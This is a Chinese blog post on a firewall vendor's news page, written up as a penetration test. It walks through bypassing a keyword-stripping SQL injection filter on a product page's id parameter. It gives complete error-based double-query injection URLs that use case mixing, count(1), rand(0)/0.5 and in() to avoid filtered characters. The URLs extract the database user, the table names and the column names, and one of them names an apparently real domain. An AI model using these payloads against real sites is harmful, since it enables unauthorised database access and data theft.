English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> 渗透测试:记一次绕过简单SQL防注入

 

渗透测试:记一次绕过简单SQL防注入

威盾防火墙 2015-01-28

 

目标站用www.xxx.com代替。

 

打开网站,点开一个产品页面。在?id=62 后面加单引号,如下图

判断出参数id无单引号保护,且GPC开启,无单引号就好办多了。

不过经测试,发现以下问题:

1、常用注入关键字unionselectfrom、星号(*)、等号等均被替换为空。

2、参数被多条SQL语句使用,只能用第一条语句双查询报错注入。

OK,知道了限制,我们就可以想绕过方法来玩了。

 

通过测试发现。unionselectfrom等关键字可大小写绕过。

 

OK,接下来就要用双查询就可以得到数据了。比较常用的双查询语句:

  1. (select 1 from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) 

可以看到有星号,星号是会被替换为空的,那就办法不用星号吧。

第一个星号处:count(*)  我把它换成count(1)

第二个星号处:floor(rand(0)*2)  怎么搞呢?

其实很简单,1*2=???  等于2吧,那乘法换成除法呢?

那就是1/0.5 还是等于2

 

那等号呢??

我们可以用大于或者小于绕过。

所以最终的语句为:

 http://www.05112.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(select USER()))a frOm information_schema.tables gRoup by a)b)– 1

那查其他表数据呢?

  1. union select 1,2,..,group_concat(table_name) from information_schema.tables where table_schema =database() 

这里有等号啊。怎么绕???????

 可以用in()查询。

爆表名:

 http://www.xxx.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct table_name fRom information_schema.tables wHere table_schema in(database())limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1

 

爆列名:

http://www.xxx.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct column_name fRom information_schema.columns whEre table_name in(char(101,100,117,99,109,115,95,97,100,109,105,110)) aNd table_schema in(database()) limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1

 

 


相关内容: 最新内容:
ModSecurity SQL注入攻击 – 深度绕过技术挑战[2015-01-28]
SQL注入技术和跨站脚本攻击的检测[2015-01-28]
初探PHP的SQL注入攻击的技术实现以及预防措施[2015-01-28]
Python操作MySQL时防止SQL注入[2015-01-28]
php PDO防止SQL注入的终极方案[2015-01-28]
SQL注入防御:用三种策略应对SQL注入攻击[2015-01-28]
ModSecurity SQL注入攻击 – 深度绕过技术挑战[2015-01-28]
SQL注入技术和跨站脚本攻击的检测[2015-01-28]
初探PHP的SQL注入攻击的技术实现以及预防措施[2015-01-28]
Python操作MySQL时防止SQL注入[2015-01-28]
php PDO防止SQL注入的终极方案[2015-01-28]
SQL注入防御:用三种策略应对SQL注入攻击[2015-01-28]